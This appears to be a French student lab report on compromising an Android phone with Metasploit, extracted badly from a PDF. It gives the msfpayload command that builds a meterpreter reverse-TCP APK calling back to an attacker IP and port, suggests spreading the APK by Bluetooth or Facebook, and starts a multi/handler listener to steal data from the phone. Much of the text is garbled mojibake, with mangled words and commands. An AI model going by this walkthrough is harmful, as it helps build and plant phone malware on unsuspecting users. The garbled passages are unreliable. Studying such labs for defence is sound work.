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malware, ce qui nous permet de voler des informations se trouvant sur le téléphone ou la
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1.  Présentation des outils utilisés

1. Ubuntu

Ubuntu est un sstéme d'exploitation libre commandité par $aciété Canonical et une

margue déposée par cette ménseciété.

Fondé sur la distribution LinlDebian,ce systemad'exploitation est constitué de logiciels

libres, et est disponible gratuitement surdée http://www.ubuntu-fr.org/telechargement

Ubuntu pour postes de travail rassemble le meilleur du logiciel olfepensource) en une
plate-forme bien soutenue, mise a jour tttalement gratuite. Il profite de centaines
d'améliorations et desouvellesmises a niveau de logiciels a chacune de ses nouvelles

versions stables, attirant de plus en plus d'utilisateurs !

a- Les avantages d'Ubuntu :

U Clarté:

Lorsque vous chargez Ubuntu pour la premiére fois, vous découvrez un environnement qui
estpropreei A YLI S Al ya AOLYyS &dzZLISNF dzS &dzNJ €S 06 dzNB I
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0 Ubuntu "just works":

Les développeurs ont fait tout le gros du travail pour vous. Une fois que Ubuntu est installé,

toute la base est en place afin que votre systéme soitéaliatement utilisable.

Vos logiciels sont aussi compatibles avec les divers autres logiciels d'autres éditeurs. Vos
documents professionnels peuvent étre échangés avec les utilisateurs de Microsoft Office,
de Corel WordPerfect Office, de Calligra, de Star€) etc.

U L'accés a une vaste bibliothéque de logiciels gratuits:

Besoin d'un logiciel particulier ? Il n'est pas besoin d'aller fouiller partout dans des sites
Internet parfois douteux afin de trouver ce qu'il vous manque. Choisissez simplement parmi
des milliers de paquets logiciels a travers le catalogue d'Ubuntu,tédéshargeables et
installables en un minimum de clics de souris. Et le tout, sans débourser le moindre centime

(et c'est légal) !

b- Principales différences de fonctionnement entre Windetudbuntu :

V Introduction :
' odzyldz yuSaid LI & 2AyR264ax 0QSad dzyS FftGSNYIFGAQD

Facilité d'utilisation
Liberté

Gratuité
Modularité
Sécurité

Installation et mise a jour dgprogrammes :

£ < > > > > >

Windows : pour installer un programmesilffit généralement de télécharger puis
lancer un exécutable << .exe >>, et pour mettre a jour il faut télécharger sur internet
la nouvelle version puis l'installer et enfin redémarrer.
+ Ubuntu: il suffit d'un clic sur les liens que vous trouverez sur dagentation du
site Ubuntufr. Il existe aussi un annuaire de logiciels intégré (Logitheque Ubuntu)
trés pratique
V Systéme de fichiers :
+ Windows: ne peut utiliser que deux systemes de fichiers : FAT ou NTFS.
+ Ubuntu (Linux): peut utiliser quasiment tous lgystéemes de fichiers. Le principal
étant I'EXTA4.



2. Le Framework Metasploit

HETASR\NN\

()

Metasploit est uroutil, opensource, pouf § RS @St 2 LIWISYSy i SG f USESOdzi A
(logiciels malveillant) contre une machine distante, il permet de réaliser des audits en

sécurité, de tester et développer ses propresexpldits NS + f Q2NAIAYyS Sy Iy
programmation, MetasploiEramework a été completement réécrit en langage Rulmstl

utilisé souvent par les administrateurs systémes pour tester les vulnérabilités des systemes

informatiques afin de les protéger, ou par les hackers a des fins de piratage.
V Les étapes basiques pour l'exploitation d'un systéme sont :

1. Choisir et corgurer un exploit (code permettant de pénétrer un systéme cible en
profitant de I'un de ses bogues ; environ 1000 exploits sont disponibles pour les systémes
Windows, Unix/Linux/Mac OS X/BSD/Solaris, et d'autres...)

2. Vérifier si le systéme cible visé sansible a I'exploit choisi

3. Choisir et configurer un payload (code qui s'exécutera aprés s'étre introduit dans la

machine cible, par exemple pour avoir accés a un shell distant)

4. Choisir la technique d'encodage pour encoder le payload de sortlesigsgstemes de

préventions ne le détectent pas
5. Exécuter I'exploit
+ Composition
¢2dzi RQFO62NR RSTAYyA&a&azya [[dStljdzSa GSNX¥Sa v
SQOELX 2A0G Y [/ QS azdzo flibvh eéxpiditdj wzé vulvékahilfé dS systéme cible

-thet2FR Y [/ Q%eéutera bptes LBreRrfodijitdizins |a riaShine cible, par

exemplepour avoir accés a un Shell distant.
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[ GNB& F2NIS Y2RdzZA I NAGS RS aSdlaLXz2aid OASyid R
seulementj dzQl SO dzy &aSwaka. SELIX 2AG2X Si GA0S

Ainsi pour une mée attaque on peut utiliser une payload permettant de rediriger le flux
RQSESOdziA2y RS fQFLIWX AOFGA2Y @dzZ ySNIofS SiG R2y
déportRQI FFAOKI 3S RS tF YIFOKAYS [GdlljdzSSo

x  Exploits

Il est possible de créer plusieBsE LIt 2 A 1a LISNXYSGGFyd RQdziAf AaSN dzy
f OAYRSMASEAEASNI dzy YsYS SELX2A0 FFAY RQSELX 2A0S
[ S LINPOS&4adza FTAY RS ONBSN) dzy SELX 2A0 Said tS &
logiciel cibé, puis on cherche une vulnérabilité connue sur des sites web tels que

www.osvdb.org (Open Sourgsallnerability DataBase, qui est un site qui recense toutes les

vulnérabilités découvertes acejour)lY®2 Ay & jdzS f Q2y -@8mel AG (G NBdJzFS d:

lIsufitey adzA S RS NBRAISNI £ QFdGFIjdzS Sy LINByLlyd LR dz
Cettel GG [jdzS O2y iASyid tQSELX 2AGEGA2Y YsYS RS I ¢
overflow), puis un@JNB2 OS RdzNBE LISNXSG Gl yd RS OKSNODKSNI I aasSi
R Q<Siye pouvoir uploader et glacer notre payload.

I y2GSN) ljdzQAf Sad ySOSaalANB RS O2yylniNB S 7
modifielesR2 Yy SSa | @Fyid RS £Sa&a GNIAGSNY ! Ayair y2iNB
son exécution et donne plus fonctionner correctement.

Les exploits peuvent se classer de plusieurs fagons. Cette classification peut se faire suivant
leurimpact sur la cible, c'est-dire si elle provoque une perte de confidentialité, une perte

R QA y (i upd&pddie @eigponibilité ou autre.

hy LJSdzi | dzaair tSa OflaaSNILINI GaL)ls RQIFGOFdsS Y
f QF dzii K S ypiovodukrQrt dérii & geTvice, étre de nature cryptographique; mal

configurer la cible, dévoiler désformations de la cible, owdre.

5lya £S CNIYS62N] aSilaLitzaits O0Sa SELX 2A03

Q.
QX
N
<

nombreuses concernent les attaques sur les systemes Windows (250/330). Le reste
concerne lesystemes Unix globalement, alors que certaines sont spécifigl@sux ou
Solaris. lyenatréespéulJSOA FAljdzSa t f Qh{ al!/ @

9Yy&dA (ST dz 8SAy RQdzy YsYS h{z O8& SELX 24
f QFLILX AOFGA2Yy @dzf ySNI 6t S [ S8 LX dzd dziAf A&SE &2

Q)¢
Q)¢
No
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Enfy = +dz aSAy RQdzy YsYS LINRPG202¢S dziAftAasSsy fS5a
difierenta St 2y f Qh{ OAo0f S al OGSNEA2Yy S a8a& @dzf ySN

x Payloads

Une payload (charge utile) est une suite d'instructions qui est envoyée via un exploit pour
rediriger leF f dzE RQSESOdziA2y RUdzyS F LI AOFGA2Yy FIl AEE A
aprésO2 YLINP YA &3 &aA2Yy®d Lt SEA&GS L) dzaASdz2NAR GeLlS RS (¢

ouverte. Les deugrincipales sortes de payload sont :

-Lebindshellcof = ljdza O2y&araidsS t SESOdziSNI &dzNJ £ I YI OKA
: un port(TCP ou UDP) se met alors en écoute de connexions entrantes et redirige les flux

vers un shell distant.

-y NBGSNBS akKStf O2RS LISN)YSG stR@adsiir & yhachidedzy O2 Y LJ;
exploitée, ces&-RA NB [ dzQSt £ S Sl of A NI dinfiepaeReyigleS EA 2y & dzN
celledef QF Gt ljdzZt ydo SiG tFyOSNF |f2NBR dzy &akKStf |jdzS
shellcoded JSNXY S G G Sy G LI Ndegriges iR flttageisiNBesirewalls NJ

Une sorte de shell amélioré est la payload meterpreter (reverse_meterpreter) ot en plus de

pouvoirRA & L2 AaSNJ RQdzy &aKStt | FAY RS yI @A3dzSNE SESOd
cible,leY S SNILINB (i SINg 2ISRF G2 ROQRAS R2g6yf 2F RSN y QA YLI2 NI
machinel G G I ljdzt yGS S OAo0fSd® hy LISdzi FAyair FI OAfSY:

ordinateur, ou uploadeun exécutable particulier afin de le lancer sur la machine cible.

Il permetaussi, engéyali RS& OF yI dzE RS 02YYdzyAOlI iA2yZ RS RS
standardde la machine cible. Enfin il est aussi possible de gérer tous les processus a distance

delamachin®OA 0f ST tSa fAaGSNI SO dzaaa fSa | NNk GSNX

Les payloads précédentes ne donneniipa R Ql LJISNIedz RS f QSONl} y RS I O
dutypedy OAy 2SOl ONBFfESOUABSYPYOAYy2SOi0x dzy RSLI2 NI

la machineattaguante, avec maitrise de la souris et clavier.

3. Smartphone Android

Un Smartphone, ordi phoneydinateur de poche ou téléphone intelligent, est un téléphone
mobile évolué disposant des fonctions. Selon le principe d'un ordinateur, il peut exécuter
divers logiciels/applications grace a un systeme d'exploitation spécialement congu pour

mobiles, et doic en particulier fournir des fonctionnalités en plus de celles des téléphones

mobiles classiques.
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/'S aeadsyYS RQSELX 2AGFGAZ2Y &ALISOATFAIL S | dzE { YI NI

systeme open source, utilisant le noyau Linux. Il a été lancé gastantup rachetée par

Google5 en

APKY | LJLX AOF GA2y LI O1F3S FAES 0O0QSad €S F2N¥IG R

logiciel d'application et middleware sur Google systeme d'exploitation Android. Pour créer
un fichier APK, un programme podindroid est d'abord compil€, puis I'ensemble de ses

piéces sont emballées dans un seul fichier.

Ill. Topologie de réseau

f Machine Victime

Adresse 1P: 192.168.1.33
Le victime »SmartPhone

android » posséde une
application android « .upk » qui
contient du code malveillant
« payload ».

Pirate Machine \

Adresse IP; 192.16%,1,32
Numero de port: 4444
Le Metasploit est installé et

contiguré sur cette machine afin
d’ussurer "exploit.

Ly 2NRAYLFGSdZNI RAaLRalyd RQdzyS | RNBaasS Lt
utilisateur Android, eten S E S O dappligationpér@a victime, une connexion entre le
LANI S SG tI OGAOGAYS &QShrotA &adNJ €S LRNI

[’]
f QFr RNBS4daS MpHDMCYy DM DO H

MOpOH PMm
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I\V. Configuration des outils

1. Installation Ubuntu

Télécharger ubuntuhttp://www.ubuntu.com/download/desktop

I LIJdz2 ST &dzNJ £ S o62dzizy a{iGFNI R2é6yf2FRE LIRdzNI GS
RA&ljdzS RS !odzylidzd [ 2NA RS OSG Saavam tS FTAOKAS
desktopA oy c PA a2 ¢ o

hy €FyOS8 +taglNB tfFeadNI Si 2y OK2A&AG fQ2LIGA2Y

Home.

VMware” Workstation 9

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

VMware

wal
Workstation 9

(St SOGA2YYSNI SyadA(GS tQ2LIA2y Y aLyathft SN RAA
RA &l dzS¢ f\BersiehadXKDownhadéubuvitu-12.04.3desktoph oy ¢ :PA & 2 €

New Virtual Machine Wizard | 23 |

Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
system. How will you install the quest operating system?

Install from:
() Installer disc:

43 Lecteur DVD RW (E2)

@) Installer discimage file (iso):

C:\Users\rehab1\Downloads\ubuntu-12.04. 3-desktop =
ILINBEA | @2ANI FAYA f QA yubiintob dstpiete.2y s G203 NB YI OKAy S

rehab

|Password

Guest Session
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2. Installation Metasploit

TéléchargeMetasploit :http://www.rapid7.com/products/metasploit/download.jsp

[ S TAOKASNI RQAyaidlttlrdAz2y Said adzNJ @g2iGNB 0 dz2NB | d:

Ubuntu Desktop 13 €)) 4:05PM 2R rehab %

tmetasploit-latest-
linux-installer.run

ns-allinone-2.34

ns-allinone-2.34.tar.

, R
s

application.apk

Wed ippD W e
1

oA

hdz@NBT S GSNXYAYIlf S LlzA & SE Modspl@tburvotka O2YYIl yRS

ot@ubuntu

License Agreement @

Please read the fFollowing License Agreement. You must accept the terms
of this agreement before continuing with the installation.

Setup - Metasploit

Welcome to the Metasploit Setup Wizard.

Rapid7 End User License and Services Terms and Conditions I

Customer agrees to be bound by the following terms and cenditions (this
"Agreement”) in connection with its purchase and use of certain Rapid7
LLC’s ("Rapid7") Software and Services (each as defined below). Before
installing and using any Software andyer obtaining and using any Services you
should read this Agreement carefully. Clicking "accept” or otherwise
installing and/or using the Software and/or cbtaining and/or using any

@ |l accept the agreement|

Do you accept this license?
Ido not accept the agreement

Cancel

| Forward || cancel J Back || Forward ||

Installation Folder @ Service script name @

Please, choose a folder to install Metasploit The metasploit service script file exists. Please insert a different name

For the service scripk.
selecta folder =

Service script name: | metasploit|

Back || || cancel

Forward || Cancel | | Back | | Forward



http://www.rapid7.com/products/metasploit/download.jsp
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Metasploit Service @ Ready to Install @

Please enter the port that the Metasploit service will use. Setup is now ready to begin installing Metasploit on your computer.

ssLPort |

Back Forward Cancel Back Forward Cancel

Pour installer Metasploit sous Linux, nous avons besoin de quelques paquets spécifiques.

Ouvrez un terminal en root et lancez la commande suivante :

™ & rehab@ubuntu: ~

rehab@ubuntu:~-S sudo get-apt install postgreSQL rubygems libpg-dev libreadline-

dev rubyfdevl

Metasploit est maintenant installé sur votre machine. Pour lancer le logicietilmera la
commande suivante en root :

@™ & root@ubuntu: ~

rehab@ubuntu:~$ sudo bash
[sudo] password for rehab:
root@ubuntu:~# msfconsole

LibreOffice Calc

v .2-1 4.7 api:1.0]
exploits - 733 liary - 202 post
--=[ 317 payloads - 30 encoders - 8 nops

V. Scenario de test
5QF62NRE 2y SESOdzi SLI2 dzNJO@ NI dizgf & Sibtie @cHeOB ¥ £ 8 3A K R

(machine pirate) :

oussama@ubuntu:~$ ifconfig

ethoe Link encap:Ethernet HWaddr 00:0c:29:d1:6d:01
inet addr:192.168.31.139 Bcast:192.168.31.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed1:6d01/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1

Notre adresse 1P192.168.31.139

al AyiaSylyidz 2y REBdz02 OE@iSNaBitiode (Shaftphadeé, G A 2 v
Tablette). Ceci est réalisé grace a la commande suivante
oussama@ubuntu:~$ sudo su

[sudo] password for oussama:
root@ubuntu: /home /oussama# msfpayload android/meterpreter/reverse_tcp LHOST=192.

168.31.139 LPORT=4444 R> [home/oussama/Desktop/app_securinets.apk
root@ubuntu: /home foussama# I

10
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Cette commande doit étre exécutée en tant que root.
Explication de la commande:
-hy RSYFYRS t Y&aftFLl & f«andBid/rie@grétarfekeisd dp»f S LI &f 2 R

-On configure LHOST suivant notre adresse IP et le LPORT sur lequel la machine victime va

contacter la machine pirate.
-On demande de sortir notre payload en format RAW (R), soit non crypté.

-Enfin, on précise le chemin ou on va récupérer notre apiica

« lhome/sana/Desktop/app_securinets.apk »

[ QF LILIX AOFGA2y Said :SYNBIAAGNBS &adzNJ £ S 0 dz2NB I dz

app._securinets.apk
al AyiSylyids 2y R2A0 Sy@28S8SN) f QF LILXdnPduti A2y t £ |
YSGGNBE OS 3ISYNB RQF LILIX AOF (i A 2 yitvidBizdidottgyles A A §S 6 S0
mettre sur facebook..

5lya y20NB OlFaz 2y @F fQSy@2@SN) LI N . fdsSi220K

f QAyadltttliAZ2yT Lldzaa f QSESOdziazy RS OSGGS RSNy

@ B
mmﬂnmm MainActivit
ke ?

4inarow casse-téte  Casse- La cave
tétes ave... aux enig...

Shake Calc Tunisiana Paramétre MainActivit

11



Maintenant, on commence a faire notre exploit :

Q)¢

¢2dzi RQI02NRI 2¢msicodnsdd Li21dzNO BSYYIINGRS Ry
Metasploit :

r-Y-1o

root@ubuntu: ~

rehab@ubuntu:~$ sudo bash
[sudo] password for rehab:
root@ubuntu:~# msfconsole

LibreOffice Calc

.7.2-1 [core:4.7 .0]
- 733 auxiliary - 202 post
- 30 encoders - 8 nops

> use :—:-xploi_tjmulti_‘handl:—:-r
exploit( ) =

Pour voir s options

msf exploit( ) = show options
Module options (exploit/multifhandler):

Name Current Setting Required Description

Exploit target:

Id MName

a Wildcard Target

msf exploit( ) = 1

La commande show payloads va nous permettre de voir lesgayldisponibles pour
f QSELX 2Ad

12
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